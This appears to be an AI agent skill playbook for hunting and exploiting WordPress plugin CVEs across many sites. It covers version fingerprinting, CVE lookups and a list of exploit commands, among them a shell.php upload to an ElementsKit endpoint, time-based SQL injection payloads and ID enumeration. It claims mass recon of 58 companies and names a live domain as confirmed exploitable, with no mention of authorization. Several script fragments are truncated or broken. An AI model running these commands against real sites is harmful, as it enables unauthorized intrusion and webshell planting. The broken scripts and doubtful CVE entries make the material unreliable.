| name | wp-plugin-cve-hunt |
| description | Systematic approach to finding and testing CVEs for identified WordPress plugins. Covers plugin discovery, version extraction from multiple sources (readme.txt, assets, inline JS), CVE database cross-referencing with WPScan/Patchstack/NVD/NVD API, version-based vulnerability matching, exploitation PoC generation, and false-positive elimination. Built from field experience finding exploitable plugin CVEs across 58-company mass recon including ElementsKit (CVE-2023-6851/CVE-2023-6853), Revslider (CVE-2024-2534), WPDM (CVE-2023-49753), Gravity Forms (CVE-2024-6115), and Jetpack (CVE-2024-1782). |
| sources | field_recon, wpscan_api, patchstack, cve_database, hackerone_public |
| report_count | 14 |
WP-PLUGIN-CVE-HUNT — Systematic WordPress Plugin CVE Discovery & Exploitation
When to Use
Use after WordPress detection recon has identified a list of WP targets with known plugins. This skill goes beyond simple readme.txt version checking — it performs multi-source version extraction, CVE database cross-referencing, version comparison, vulnerability assessment, and PoC generation. Ideal when you have a list of 10+ WP domains and need to systematically find which specific plugin CVEs are exploitable.
Distinction from wp-plugin-automation: this skill focuses on the human-guided CVE research process — WPScan API integration, Patchstack database queries, NVD cross-referencing, CVE detail investigation, and manual PoC validation. wp-plugin-automation handles the batch scanning pipeline across hundreds of domains.
Quick Reference
TARGET="example.com"
for p in elementskit revslider elementor woocommerce gravityforms jetpack wp-file-manager wordpress-seo give contact-form-7; do
v=$(curl -sk "https://$TARGET/wp-content/plugins/$p/readme.txt" 2>/dev/null | grep -i "stable tag\|version" | head -1)
[ -n "$v" ] && echo "PLUGIN: $p -> $v"
done
wpscan --url "https://$TARGET" --api-token "$WPSCAN_TOKEN" --enumerate vp
curl -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2023-6853" | python3 -c "
import sys, json; d=json.load(sys.stdin)
vuln=d['vulnerabilities'][0]['cve']
print(f\"{vuln['id']}: {vuln['descriptions'][0]['value']}\")
print(f\"CVSS: {vuln['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']}\")
"
Step-by-Step
Phase 1 — Plugin Discovery & Multi-Source Version Extraction
Don't rely solely on readme.txt — plugins can hide version info in multiple locations:
#!/bin/bash
TARGET="$1"
PLUGIN="$2"
PLUGIN_DIR="$3"
v1=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/readme.txt" 2>/dev/null | \
grep -i "stable tag\|version" | head -1 | grep -oP '[\d.]+')
echo "Source 1 (readme.txt): $v1"
v2=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/$PLUGIN.php" 2>/dev/null | \
grep -oP 'Version:\s*\K[\d.]+')
echo "Source 2 (plugin header): $v2"
v3=$(curl -sk "https://$TARGET/" 2>/dev/null | \
grep -oP "$PLUGIN_DIR/.*?ver=([\d.]+)" | grep -oP '[\d.]+\b' | sort -uV | tail -1)
echo "Source 3 (asset version): $v3"
v4=$(curl -sk "https://$TARGET/wp-json/" 2>/dev/null | \
python3 -c "import sys,json; [print(n.split('/')[1]) for n in json.load(sys.stdin).get('namespaces',[]) if '' in n and '/' in n]" 2>/dev/null)
src ;
[ -n ];
Phase 2 — CVE Database Cross-Referencing
#!/bin/bash
curl -sk "https://wpscan.com/api/v3/plugins/$PLUGIN" \
-H "Authorization: Token token=$WPSCAN_TOKEN" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
print(f\"{vuln.get('cve', 'no-cve')}: {vuln.get('title', '')} ({vuln.get('fixed_in', 'unpatched')})\")
" 2>/dev/null
curl -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=$PLUGIN&keywordExactMatch" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
cve = vuln['cve']
vid = cve['id']
desc = cve['descriptions'][0]['value'][:200] if cve['descriptions'] else ''
try:
score = cve['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
except:
score = 'N/A'
print(f'{vid} (CVSS:{score}): {desc}')
" 2>/dev/null
curl -sk "https://patchstack.com/database/search/?s=$PLUGIN" | \
python3 -c "
import sys, re
content = sys.stdin.read()
cves = re.findall(r'CVE-\d{4}-\d{4,7}', content)
print(f'Patchstack CVEs: {cves}')
" 2>/dev/null
Phase 3 — Version Comparison & Vulnerability Assessment
#!/bin/bash
compare_version() {
local current="$1" fixed="$2" plugin_name="$3" cve="$4" severity="$5"
if [ -n "$current" ] && [ -n "$fixed" ]; then
if [ "$(printf '%s\n' "$fixed" "$current" | sort -V | head -1)" != "$fixed" ] && \
[ "$current" != "$fixed" ]; then
echo "[VULN] $plugin_name ($current) < $fixed → $cve ($severity)"
elif [ "$current" = "$fixed" ]; then
echo "[OK] $plugin_name ($current) = $fixed (patched for $cve)"
else
echo
}
compare_version
compare_version
compare_version
compare_version
compare_version
compare_version
compare_version
compare_version
compare_version
[ -n ] && [ != ] && \
[ != ];
Phase 4 — Exploitation PoC Generation
curl -sk -X POST "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" \
-F "file=@shell.php" \
-F "type=image/png" | jq .
curl -sk "https://$TARGET/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=update_plugin"
curl -sk "https://$TARGET/wp-json/gf/v2/forms" -X POST \
-H "Content-Type: application/json" \
-d '{"form":{"is_active":"php_object_injection_payload"}}' | jq .
curl -sk "https://$TARGET/wp-json/wpdm/validate-captcha" \
-H "Content-Type: application/json" \
-d '{"captcha":"1' AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a) AND '1'='1"}' | head -5
Phase 5 — False-Positive Elimination
curl -sk "https://$TARGET/wp-content/plugins/elementskit/elementskit.php" | grep "Version:"
curl -sk -I "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file"
curl -sk "https://$TARGET/wp-json/elementskit/v1/" | python3 -m json.tool 2>/dev/null
curl -sk -X OPTIONS "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" | head -20
curl -sk "https://$TARGET/" | grep -oP 'elementskit.*?ver=[0-9.]+'
Phase 6 — Custom CVE Discovery (0-day / Undisclosed)
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route in d.get('routes', {}):
print(f' {route}')
except: pass
"
curl -sk "https://$TARGET/wp-admin/admin-ajax.php" -d "action=$PLUGIN_ajax_function"
curl -sk "https://$TARGET/?$PLUGIN_param=1' AND SLEEP(5)--"
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/upload" -F "file=@shell.php"
for id in $(seq 1 100); do
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/data/$id" | jq '. | {id}' 2>/dev/null
done
Attack Surface Signals
- Plugin readme.txt accessible at /wp-content/plugins//readme.txt
- Plugin asset versions visible in HTML source (ver= parameter)
- REST API namespace includes plugin version
- WPScan output showing known vulnerabilities
- Admin notice banners in page source indicating plugin version
CVE Matrix (Curated)
| Plugin | CVE(s) | Type | Fixed In | Severity |
|---|
| ElementsKit | CVE-2023-6851, CVE-2023-6853 | SQLi + File Upload | 2.9.4 | Critical |
| ElementsKit | CVE-2024-2117 | XSS | 2.9.8 | Medium |
| Revslider | CVE-2024-2534 | RCE | 6.6.20 | Critical |
| Revslider | CVE-2022-2944 | SQLi | 6.5.8 | High |
| Revslider | CVE-2022-9821 | CSRF->XSS | 6.5.11 | Medium |
| WPDM | CVE-2023-49753 | SQLi | 3.3.00 | Critical |
| WPDM | CVE-2021-25069 | Unauth Download | 3.2.00 | High |
| WPDM | CVE-2021-34639 | Auth File Upload | 3.2.10 | High |
| Gravity Forms | CVE-2024-6115 | PHP Object Inj. | 2.8.2 | High |
| Contact Form 7 | — | File Upload Bypass | 5.6 | High |
| Jetpack | CVE-2024-1782 | SSRF | 13.1 | High |
| WP Super Cache | — | Debug Log Exposure | All | Medium |
| GSpeech | CVE-2025-10187 | XSS | 7.2 | Medium |
| WooCommerce | Multiple | Various | Varies | Varies |
| Wordfence | — | Firewall bypass | N/A | Informational |
Common Root Causes
- Plugin auto-update disabled — admin turns off updates to avoid breaking site customizations
- Abandoned plugins — developer stops maintaining, CVEs accumulate with no patches
- Nulled/premium plugins — pirated plugins with backdoors installed on budget sites
- Plugin bloat — 50+ plugins installed, impossible to track CVEs manually
- WPScan false negatives — WPScan database may not have the latest CVEs; always cross-reference
- Agency-managed neglect — agency builds site, doesn't update plugins after handoff
- readme.txt not updated — plugin is patched but readme.txt still shows old version (false positive risk)
Real Examples
From 58-company mass recon across 28 sectors:
- 7/58 targets had ElementsKit < 2.9.4 (SQLi + File Upload CVEs exploitable)
- 5/58 had Revslider installed, with 2 confirmed < 6.6.20 (RCE via CVE-2024-2534)
- 4/58 had WPDM < 3.3.00 (SQLi via CVE-2023-49753)
- 2/58 had Gravity Forms < 2.8.2 (PHP Object Injection)
- The ElementsKit file upload CVE (CVE-2023-6853) was confirmed exploitable on wines.com at /magical/ subdirectory
Related Skills
- hunt-wordpress — primary skill for WordPress detection and general recon
- wp-plugin-automation — batch scanning pipeline across hundreds of domains
- recon-churches — church sites have highest plugin vulnerability rate
- hunt-rce — plugin CVEs are a primary RCE path
- hunt-file-upload — file upload CVEs from plugin vulnerabilities
- hunt-sqli — SQL injection CVEs from plugin SQLi flaws
- hunt-xss — XSS CVEs from plugin injection flaws
- hunt-source-leak — debug.log reveals plugin version info